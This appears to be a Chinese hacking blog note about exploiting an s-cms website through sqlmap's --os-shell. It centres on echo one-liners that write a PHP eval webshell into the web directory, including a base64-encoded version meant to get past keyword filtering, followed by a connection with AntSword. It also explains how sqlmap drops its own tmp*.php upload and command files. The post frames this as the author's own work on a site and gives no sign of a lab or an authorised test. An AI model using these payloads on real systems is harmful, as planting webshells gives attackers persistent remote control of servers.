0x00 开篇
今日做s-cms网站,发现该站可以使用os-shell获得权限,因为--os-shell命令执行条件较为苛刻,平时不常见,突然一时间想不起sqlmap自动写入的php文件密码是什么。
由于犯了先入为主错误,认为sqlmap生成的webshell就得先得知道密码才能连接,于是他喵的钻进牛角尖没出来........过了好一会才发现是闹个乌龙。
0x01 echo写webshell
忘记php密码,自己echo写webshell,但需要知道该网站路径,以及要求路径要有写入权限。
echo '<?php eval($_POST['1']);?>' >/路径/1.php
假如因关键字符被转义、屏蔽导致失败,也可以base64加密
echo 'PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7Pz4=' | base64 -d >/路径/1.php
蚁剑连接即可成功连接
0x02 sqlmap自动生成webshell
--os-shell命令基本原理是利用into outfile函数上传tmpuhjme.php文件,把它写入到网站目录下。下面可以结合上传大马,再次进行深入利用。
tmpuhjme.php上传成功后,会再上传一个命令执行文件-tmpbblnp.php。至于文件名不用纠结,个人没记错的话,sqlmap文件名有个生成算法,前三位不变以tmp开头不变,后五位按序随机生成。
0x03 总结
考虑问题一定不要先入为主,主观判断只会把简单事情变复杂化。